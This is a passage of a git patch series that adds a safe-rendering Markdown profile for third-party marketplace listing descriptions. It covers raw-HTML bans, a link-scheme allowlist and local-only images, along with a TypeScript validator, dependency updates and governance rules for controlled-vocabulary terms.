+with `ERR_INVALID_VALUE`. The rule is [§4.1](#description-markdown)'s, applied
+to the fields that carry a URL directly rather than inside Markdown —
+`javascript:` in `homepageUrl` is the same stored injection as `javascript:` in
+a description link, and a storefront renders both.
 
 > **TODO** — `category` and `lifecycleStage` are controlled vocabularies. State
 > the governance rule for adding a term — this is the field most likely to need
@@ -152,6 +153,61 @@ not an authoring one. A document that declares it is rejected in the
 accepting it silently would let an author believe they had promoted their own
 listing.
 
+### <a id="description-markdown"></a>4.1 The description Markdown profile
+
+`description` is **[CommonMark 0.31.2](https://spec.commonmark.org/0.31.2/)**,
+narrowed by the three rules below. Naming a grammar and a version is deliberate:
+"Markdown" is not one language, and a rule written against it is a rule each
+implementation resolves against whatever parser it happened to have.
+
+A listing is authored by a third party and rendered by the storefront, so
+`description` is untrusted content displayed in a first-party origin. These are
+the rules that make it safe to render. The reasoning is recorded in
+[ADR 0004](../../../docs/adr/0004-listing-description-trust-boundary.md).
+
+| Rule | Diagnostic |
+|---|---|
+| A description MUST NOT contain raw HTML — an *HTML block* ([CommonMark §4.6](https://spec.commonmark.org/0.31.2/#html-blocks)) or *raw HTML* inline ([§6.6](https://spec.commonmark.org/0.31.2/#raw-html)). | `ERR_RAW_HTML` |
+| A link destination MUST use the `https`, `http`, or `mailto` scheme, or be a fragment beginning `#`. | `ERR_DISALLOWED_SCHEME` |
+| An image destination MUST be a media path as defined by [§5](#media). | `ERR_IMAGE_NOT_LOCAL` |
+
+All three are `semantic`. Finding a link destination means parsing the document,
+which no JSON Schema pattern can do — this is the same line
+[§5](#media) draws between the media grammar it carries as a `pattern` and the
+three rules it cannot.
+
+**A code fence is not raw HTML.** CommonMark tokenises a code span and a fenced
+code block as their own constructs, so a listing MAY document `<script>` or an
+embed snippet inside one and remain conforming. This is the reason the rule is
+written in CommonMark's terms rather than as a search for angle brackets: a
+lexical rule would reject the authors writing honest documentation, which is
+most of them. Character entity references — `&amp;`, `&#39;` — are likewise not
+raw HTML.
+
+**The rule reaches the renderer.** A consumer rendering `description` MUST NOT
+emit an HTML element, an attribute, or a URL that this profile forbids, whether
+or not it validated the document first. This is the only rule in this
+specification that constrains an implementation's output rather than a document,
+and it is stated because an authoring rule alone would protect nobody: the
+document this profile exists to stop is written by someone who will not run the
+validator.
+
+**An image is a media path, with everything that follows from it.** [§5](#media)
+fixes `media/` as the one directory an item ships assets from, and a description
+image is held to the same grammar — so a remote image is not merely discouraged,
+it is unspellable. It is a rule rather than a note because a remote image
+discloses every storefront viewer's IP address and user agent to a host the
+listing author chose, on every page view, with no interaction. §5's `semantic`
+rules reach a description image too: it MUST resolve to a file that exists and
+MUST lie inside the item root, reported at `/spec/description` with
+`ERR_MEDIA_NOT_FOUND` and `ERR_PATH_ESCAPE`. Basename uniqueness does not — that
+rule is about the screenshot gallery, which a description image is not part of.
+
+**What v1 does not constrain.** A link target is never fetched, so nothing here
+decides whether a permitted scheme points somewhere hostile; that is a
+moderation problem and not a validation one. Nor is there a bound on how many
+links, images, or headings a description may hold.
+
 ## <a id="media"></a>5. Media
 
 `icon` and `screenshots[].file` are media paths, resolved inside the item root
@@ -218,6 +274,9 @@ family adds:
 | `ERR_MEDIA_NOT_FOUND` | `semantic` | A referenced media file does not exist. |
 | `ERR_PATH_ESCAPE` | `semantic` | A media path resolves outside the item directory. |
 | `ERR_DUPLICATE_MEDIA_BASENAME` | `semantic` | Two screenshots share a basename. |
+| `ERR_RAW_HTML` | `semantic` | `description` contains raw HTML. |
+| `ERR_DISALLOWED_SCHEME` | `semantic` | A `description` link uses a scheme outside the permitted set. |
+| `ERR_IMAGE_NOT_LOCAL` | `semantic` | A `description` image is not an item media path. |
 
 ## <a id="conformance"></a>8. Conformance
 
diff --git a/tools/bun.lock b/tools/bun.lock
index 85bebd5..f8b75c4 100644
--- a/tools/bun.lock
+++ b/tools/bun.lock
@@ -6,11 +6,13 @@
       "name": "@musher-dev/spec-tools",
       "dependencies": {
         "ajv": "8.20.0",
+        "commonmark": "0.31.2",
         "yaml": "2.9.0",
       },
       "devDependencies": {
         "@biomejs/biome": "2.5.8",
         "@types/bun": "1.3.14",
+        "@types/commonmark": "0.27.10",
         "typescript": "7.0.2",
       },
     },
@@ -36,6 +38,8 @@
 
     "@types/bun": ["@types/bun@1.3.14", "", { "dependencies": { "bun-types": "1.3.14" } }, "sha512-h1hFqFVcvAvD9j9K7ZW7vd82aSA+rTdznZa+5bwvCwqSB1jmmfLcbIWhOLx1/+boy/xmjgCs/OMUL8hRJSmnPw=="],
 
+    "@types/commonmark": ["@types/commonmark@0.27.10", "", {}, "sha512-iEZobUnvlM+UX5fXWCmC4eQXwCs01Z8Xa1W0VjiWUF/XsNy4BHtskqJ9MyLZVMHbA0ezhyonCDqz3hMvsCm6Hg=="],
+
     "@types/node": ["@types/node@26.2.0", "", { "dependencies": { "undici-types": "~8.3.0" } }, "sha512-5IviulTZeRNp2vAJ514cc/HUlY5nZ9fCbq9DMyC52BrhFZACo3nI0R7qBxhQmo/d27NFe96ur/b7Wwxklda+kg=="],
 
     "@typescript/typescript-aix-ppc64": ["@typescript/typescript-aix-ppc64@7.0.2", "", { "os": "aix", "cpu": "ppc64" }, "sha512-MTKKkWB7p/0E9xi1d1tHtZ5PiLkGEMIq88pK2CubZjOsLtYTLqhgIgi6zepFa+9GHZ6h05NMCkQxGKiPXMxXtQ=="],
@@ -82,12 +86,20 @@
 
     "bun-types": ["bun-types@1.3.14", "", { "dependencies": { "@types/node": "*" } }, "sha512-4N0ig0fEomHt5R0KCFWjovxow98rIoRwKolrYdCcknNwMekCXRnWEUvgu5soYV8QXtVsrUD8B95MBOZGPvr6KQ=="],
 
+    "commonmark": ["commonmark@0.31.2", "", { "dependencies": { "entities": "~3.0.1", "mdurl": "~1.0.1", "minimist": "~1.2.8" }, "bin": { "commonmark": "bin/commonmark" } }, "sha512-2fRLTyb9r/2835k5cwcAwOj0DEc44FARnMp5veGsJ+mEAZdi52sNopLu07ZyElQUz058H43whzlERDIaaSw4rg=="],
+
+    "entities": ["entities@3.0.1", "", {}, "sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q=="],
+
     "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="],
 
     "fast-uri": ["fast-uri@3.1.5", "", {}, "sha512-gHwA1O9LDIcKunMKhObS/HimwtehO1nPUECKAu5TpKgaO19fcWEl4bliWe1jWxVFvIXztJjjQ4L8XQ1EU9f7Jw=="],
 
     "json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
 
+    "mdurl": ["mdurl@1.0.1", "", {}, "sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g=="],
+
+    "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="],
+
     "require-from-string": ["require-from-string@2.0.2", "", {}, "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="],
 
     "typescript": ["typescript@7.0.2", "", { "optionalDependencies": { "@typescript/typescript-aix-ppc64": "7.0.2", "@typescript/typescript-darwin-arm64": "7.0.2", "@typescript/typescript-darwin-x64": "7.0.2", "@typescript/typescript-freebsd-arm64": "7.0.2", "@typescript/typescript-freebsd-x64": "7.0.2", "@typescript/typescript-linux-arm": "7.0.2", "@typescript/typescript-linux-arm64": "7.0.2", "@typescript/typescript-linux-loong64": "7.0.2", "@typescript/typescript-linux-mips64el": "7.0.2", "@typescript/typescript-linux-ppc64": "7.0.2", "@typescript/typescript-linux-riscv64": "7.0.2", "@typescript/typescript-linux-s390x": "7.0.2", "@typescript/typescript-linux-x64": "7.0.2", "@typescript/typescript-netbsd-arm64": "7.0.2", "@typescript/typescript-netbsd-x64": "7.0.2", "@typescript/typescript-openbsd-arm64": "7.0.2", "@typescript/typescript-openbsd-x64": "7.0.2", "@typescript/typescript-sunos-x64": "7.0.2", "@typescript/typescript-win32-arm64": "7.0.2", "@typescript/typescript-win32-x64": "7.0.2" }, "bin": { "tsc": "bin/tsc" } }, "sha512-8FYau96o3NKOhbjKi/qNvG/W5jhzxkbdm5sj9AbZ/5T5sWqn3hJgLfGx27sRKZWTvyzCP8dLRBTf5tBTSRVUNA=="],
diff --git a/tools/package.json b/tools/package.json
index 63fc50f..bf21b3c 100644
--- a/tools/package.json
+++ b/tools/package.json
@@ -21,11 +21,13 @@
   },
   "dependencies": {
     "ajv": "8.20.0",
+    "commonmark": "0.31.2",
     "yaml": "2.9.0"
   },
   "devDependencies": {
     "@biomejs/biome": "2.5.8",
     "@types/bun": "1.3.14",
+    "@types/commonmark": "0.27.10",
     "typescript": "7.0.2"
   }
 }
diff --git a/tools/src/semantic.ts b/tools/src/semantic.ts
index d7e98bc..620157c 100644
--- a/tools/src/semantic.ts
+++ b/tools/src/semantic.ts
@@ -21,6 +21,7 @@ import {
   realpathSync,
 } from 'node:fs'
 import { basename, dirname, isAbsolute, join, relative, resolve } from 'node:path'
+import { type Node, Parser } from 'commonmark'
 import { type Diagnostic, parseDocument } from './document.ts'
 import { type Family, isObject, type Json } from './spec.ts'
 
@@ -484,6 +485,102 @@ function checkScreenshotBasenames(document: Json, out: Diagnostic[]): void {
   }
 }
 
+/**
+ * Listing §5's media path grammar, as the schema carries it. Restated here
+ * because §4.1 holds a description image to the same shape, and a description
+ * is a Markdown blob no `pattern` can reach into.
+ */
+const MEDIA_PATH =
+  /^media\/(?:[A-Za-z0-9][A-Za-z0-9._-]*\/)*[A-Za-z0-9][A-Za-z0-9._-]*\.(?:[Pp][Nn][Gg]|[Jj][Pp][Gg]|[Jj][Pp][Ee][Gg]|[Ww][Ee][Bb][Pp])$/
+
+/** Listing §4.1 — the schemes a description link destination may use. */
+const PERMITTED_SCHEMES = new Set(['https:', 'http:', 'mailto:'])
+
+/**
+ * `spec.description` parsed as CommonMark 0.31.2, or `undefined` when the
+ * listing declares none. Parsed once and walked by every §4.1 rule: three
+ * separate walks over the same blob would be three chances to disagree about
+ * what the document says.
+ */
+function descriptionAst(document: Json): Node | undefined {
+  const description = asString(child(child(document, 'spec'), 'description'))
+  if (description === undefined) return undefined
+  return new Parser().parse(description)
+}
+
+/** Every node in an AST, in document order. */
+function* walk(ast: Node): Generator<Node> {
+  const walker = ast.walker()
+  let step = walker.next()
+  while (step !== null) {
+    if (step.entering) yield step.node
+    step = walker.next()
+  }
+}
+
+/**
+ * Listing §4.1 — a link destination must carry a permitted scheme or be a
+ * fragment. A destination CommonMark could not resolve to a URL at all is not
+ * a scheme this set contains, so it fails with the rest.
+ */
+function schemeIsPermitted(destination: string): boolean {
+  if (destination.startsWith('#')) return true
+  try {
+    return PERMITTED_SCHEMES.has(new URL(destination).protocol)
+  } catch {
+    // Not absolute. A storefront has no base URL to resolve it against, so a
+    // relative link resolves against the storefront's own path — a broken link
+    // rather than a hostile one, but not a link this profile permits either.
+    return false
+  }
+}
+
+/**
+ * Listing §4.1 — the three rules the description profile carries. Every
+ * diagnostic anchors at `/spec/description`: the field is one scalar, so there
+ * is no finer pointer to give, and the offending destination rides in the
+ * message instead. Message text is not normative (conformance/README.md).
+ */
+function checkDescriptionMarkdown(document: Json, out: Diagnostic[]): void {
+  const ast = descriptionAst(document)
+  if (ast === undefined) return
+
+  for (const node of walk(ast)) {
+    // A code span and a fenced code block are their own constructs in
+    // CommonMark's grammar, never `html_block` or `html_inline` — which is why
+    // a listing may document `<script>` inside a fence and stay conforming.
+    if (node.type === 'html_block' || node.type === 'html_inline') {
+      out.push({
+        code: 'ERR_RAW_HTML',
+        path: '/spec/description',
+        message: `description contains raw HTML: ${summarise(node.literal ?? '')}`,
+      })
+      continue
+    }
+    const destination = node.destination ?? ''
+    if (node.type === 'link' && !schemeIsPermitted(destination)) {
+      out.push({
+        code: 'ERR_DISALLOWED_SCHEME',
+        path: '/spec/description',
+        message: `link destination "${summarise(destination)}" is not https, http, mailto, or a fragment`,
+      })
+    }
+    if (node.type === 'image' && !MEDIA_PATH.test(destination)) {
+      out.push({
+        code: 'ERR_IMAGE_NOT_LOCAL',
+        path: '/spec/description',
+        message: `image destination "${summarise(destination)}" is not a media path under media/`,
+      })
+    }
+  }
+}
+
+/** A diagnostic message quotes the offender; it does not reproduce it. */
+function summarise(value: string): string {
+  const flat = value.replace(/\s+/g, ' ').trim()
+  return flat.length > 60 ? `${flat.slice(0, 60)}…` : flat
+}
+
 // ===========================================================================
 // item-scoped rules
 // ===========================================================================
@@ -505,6 +602,20 @@ function mediaPaths(document: Json): { path: string; pointer: string }[] {
       }
     }
   }
+
+  // §4.1 — a description image is a media path, so §5's existence and
+  // containment rules reach it. Only well-formed ones: a destination that is
+  // not a media path at all is already ERR_IMAGE_NOT_LOCAL, and piling
+  // ERR_MEDIA_NOT_FOUND on top would report one mistake twice.
+  const ast = descriptionAst(document)
+  if (ast !== undefined) {
+    for (const node of walk(ast)) {
+      const destination = node.destination ?? ''
+      if (node.type === 'image' && MEDIA_PATH.test(destination)) {
+        found.push({ path: destination, pointer: '/spec/description' })
+      }
+    }
+  }
   return found
 }
 
@@ -1059,6 +1170,7 @@ export function semanticDiagnostics(
   }
   if (family.name === 'listing') {
     checkScreenshotBasenames(document, out)
+    checkDescriptionMarkdown(document, out)
   }
 
   const { itemRoot } = context

From 82866da5dc086720cc9e61b646d4a2616ec994a5 Mon Sep 17 00:00:00 2001
From: Justin Merrell <merrelljustin@gmail.com>
Date: Mon, 17 Aug 2026 02:03:38 +0000
Subject: [PATCH 3/3] docs(listing): state the rule for adding a category or
 lifecycleStage term
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The TODO had already worked out the compatibility mechanics — adding a term is
minor, removing one is major. What was missing is the editorial rule, and that
is the part that decays: growth is cheap in every individual case and
irreversible in aggregate, because correcting an over-grown taxonomy means a
removal and therefore a new major.

ADR 0003 §1 had already decided the placement and left applying it to listing as
Follow-up 1. §4.2 now says both fields are placement one deliberately rather
than by default, and the two stop resembling each other there.

category is an open taxonomy and gets an admission test in GOVERNANCE.md: the
proposing PR must name which existing terms it was tested against, show the term
is how a buyer browses rather than what the software is built with (that is what
tags carries), and show it is not a subset of an existing term. Approval stays
at one maintainer, with the note that a reviewer is expected to reject a
well-formed term on editorial grounds.

No numeric ceiling, and the reason is stated rather than left implied. A cap
could only be honoured by refusing every candidate once reached, since merging
two terms is a removal — a limit unenforceable inside the major it applies to is
a limit in name, and it would displace the judgement doing the actual work.

lifecycleStage is a closed progression and is ADR-gated instead. Its ordering —
EXPERIMENTAL, BETA, STABLE, with SUNSET terminal rather than a fourth point on
the scale — is now stated, because the storefront sorts and filters on it and a
consumer inferring it from the names would be inventing contract.

With this, no spec.md carries a TODO section. Listing §9 records what is left as
gaps recorded where they apply, and CLAUDE.md drops the pre-stable note.

Refs #23

Signed-off-by: Justin Merrell <merrelljustin@gmail.com>
---
 CLAUDE.md                         |  6 ++--
 GOVERNANCE.md                     | 49 +++++++++++++++++++++++++
 specifications/listing/v1/spec.md | 60 +++++++++++++++++++++++++++----
 3 files changed, 107 insertions(+), 8 deletions(-)

diff --git a/CLAUDE.md b/CLAUDE.md
index 22ea178..5e5e300 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -83,5 +83,7 @@ now rejects both, but the seeding still shows in the prose: some `description`
 text uses platform vocabulary (`snapshot compute`) that a reader outside
 `musher-dev/platform` cannot resolve. Compute Profile slugs used to be on that
 list; blueprint §4.3 now carries the grammar and names where the vocabulary is
-published, per docs/adr/0003. Only `listing/v1/spec.md` still carries `TODO`
-sections — they are what keeps v1 pre-stable.
+published, per docs/adr/0003. No `spec.md` carries a `TODO` section any longer —
+listing §4.1 and §4.2 closed the last two, per docs/adr/0004 and GOVERNANCE.md →
+Changing a controlled vocabulary. What is left in each family's Known debt is a
+gap recorded where it applies, not an unanswered question.
diff --git a/GOVERNANCE.md b/GOVERNANCE.md
index 8f4d3d5..f89187e 100644
--- a/GOVERNANCE.md
+++ b/GOVERNANCE.md
@@ -58,6 +58,55 @@ Any change that would cause a previously valid document to fail validation is a
 Adding a required field, narrowing an enum, tightening a pattern, and removing
 a field are all breaking. Adding an optional field is not.
 
+## Changing a controlled vocabulary
+
+A field whose value comes from a closed `enum` is a controlled vocabulary this
+repository decides — [ADR 0003](docs/adr/0003-controlled-vocabulary-placement.md)
+§1 calls it placement one. Adding a term is a minor release; removing one is
+breaking, and therefore a new major.
+
+That asymmetry is the whole problem. Growth is cheap in every individual case
+and irreversible in aggregate, so the rule below is editorial rather than
+technical: nothing in CI can fail a term that is merely a bad idea.
+
+### An open taxonomy: listing `category`
+
+A candidate term must justify itself **against the terms that already exist**,
+and the proposing pull request must say so in three parts:
+
+1. **Which existing terms it was tested against**, and why each is wrong for the
+   listings it is meant to hold. A term proposed without this reads as an
+   addition; with it, it reads as a gap.
+2. **That it is how a buyer browses, not what the software is built with.** A
+   category answers "what am I looking for". The technology an item is made of
+   is what `tags` carries, and a term that would have been a good tag is not a
+   category.
+3. **That it is not a subset of an existing term.** A term that splits an
+   existing one in two makes both less useful, because a listing that could sit
+   in either now sits in whichever its author picked.
+
+Approval is one maintainer, as for any ordinary change. What is not ordinary is
+that a reviewer is expected to reject a well-formed term on editorial grounds —
+a taxonomy is judged by what it excludes, and twenty categories is a taxonomy
+while sixty is a list with none.
+
+**There is no numeric ceiling, and the reason is worth stating.** A cap would be
+honoured only by refusing every candidate once it was reached, because the
+alternative — merging two terms to make room — is a removal and therefore a new
+major. A limit that cannot be enforced within the major it applies to is a limit
+in name, and it would displace the judgement that actually does the work.
+
+### A closed progression: listing `lifecycleStage`
+
+`lifecycleStage` is not a taxonomy and does not share the rule above. It is a
+short ordered progression describing maturity, and its terms are not
+alternatives an author chooses between on taste — each one makes a claim about
+the item that the storefront acts on.
+
+Adding a stage therefore changes what the storefront *means*, not how it sorts,
+and needs an **accepted ADR** rather than the admission test. The same is true
+of any other vocabulary of this shape.
+
 ## Release process
 
 Releases are automated. Merging a Conventional Commit to `main` opens a
diff --git a/specifications/listing/v1/spec.md b/specifications/listing/v1/spec.md
index 704e1fe..a80c12e 100644
--- a/specifications/listing/v1/spec.md
+++ b/specifications/listing/v1/spec.md
@@ -140,11 +140,8 @@ to the fields that carry a URL directly rather than inside Markdown —
 `javascript:` in `homepageUrl` is the same stored injection as `javascript:` in
 a description link, and a storefront renders both.
 
-> **TODO** — `category` and `lifecycleStage` are controlled vocabularies. State
-> the governance rule for adding a term — this is the field most likely to need
-> extension, and unmanaged growth makes the storefront incoherent. Note that
-> adding a term is a minor release and removing one is major, since narrowing
-> an enum rejects a document that validated before.
+`category` and `lifecycleStage` are controlled vocabularies, described in
+[§4.2](#vocabularies).
 
 Featured-row placement is **not** part of this contract. A listing document
 MUST NOT declare `spec.featured`; promotion is a storefront-operator action,
@@ -208,6 +205,43 @@ decides whether a permitted scheme points somewhere hostile; that is a
 moderation problem and not a validation one. Nor is there a bound on how many
 links, images, or headings a description may hold.
 
+### <a id="vocabularies"></a>4.2 Category and lifecycle stage
+
+`category` and `lifecycleStage` are **fixed by this contract**: the schema
+carries each as a closed `enum`, and a value outside it is rejected in the
+`structural` phase with `ERR_INVALID_VALUE`. That is
+[ADR 0003](../../../docs/adr/0003-controlled-vocabulary-placement.md) §1's
+placement one, and it is the right one for the reason that ADR gives — the test
+is who decides membership, and a storefront category becomes real when this
+repository releases, not when an operator provisions something.
+
+This is where the two fields stop resembling each other.
+
+**`category` is an open taxonomy.** It is the field most likely to need
+extension, and it is the one where the path of least resistance always points
+the same way: a publisher whose item fits nothing reaches for a new term, and no
+individual term is the one that does the damage. Adding a term is a minor
+release and removing one is a new major, so growth is cheap in every single case
+and irreversible in aggregate. The rule that governs it is editorial and lives
+in [GOVERNANCE.md](../../../GOVERNANCE.md) → *Changing a controlled vocabulary*,
+because it is a process rule and that is where process rules live.
+
+**`lifecycleStage` is a closed progression**, and does not share that rule.
+`EXPERIMENTAL`, `BETA`, and `STABLE` are ordered — each claims more about the
+item than the one before — and `SUNSET` is terminal rather than a fourth point
+on the scale: it says the item is going away, which is a statement about the
+future and not about maturity reached. The ordering is stated because the
+storefront sorts and filters on it, and a consumer that had to infer it from the
+names would be inventing contract.
+
+A new stage therefore changes what the storefront *means* rather than how it
+sorts, and GOVERNANCE.md gates one on an accepted ADR instead of the category
+admission test.
+
+**Neither field's terms are restated here.** The schema is where they live, and
+a second copy in prose is a copy that can disagree — the same reasoning ADR 0003
+§2 applies to a vocabulary published elsewhere, applied to one published here.
+
 ## <a id="media"></a>5. Media
 
 `icon` and `screenshots[].file` are media paths, resolved inside the item root
@@ -287,5 +321,19 @@ fixture in [`conformance/listing/v1/`](../../../conformance/listing/v1/).
 
 Seeded from the platform's generated schema. The naming that arrived with it
 has been cleaned, and the seed-authoring-only `featured` block has been removed
-from the contract (§4). The sections above marked TODO remain. See
+from the contract (§4).
+
+No section of this document is marked TODO any longer. The last two were both in
+§4, and both were security or governance questions rather than undocumented
+behaviour: the permitted Markdown subset for `description`, now
+[§4.1](#description-markdown) and
+[ADR 0004](../../../docs/adr/0004-listing-description-trust-boundary.md); and
+the rule for admitting a `category` or `lifecycleStage` term, now
+[§4.2](#vocabularies) and GOVERNANCE.md.
+
+What remains is a gap rather than a silence, and each is recorded where it
+applies: media dimensions and file size are unbounded ([§5](#media)), a
+`listingKind: BLUEPRINT` listing in an item holding no blueprint goes undetected
+([§3](#identity)), and `tags` and `license` are unbounded free text that nothing
+checks. Closing any of them rejects documents v1 accepts. See
 [component §10](../../component/v1/spec.md#known-debt).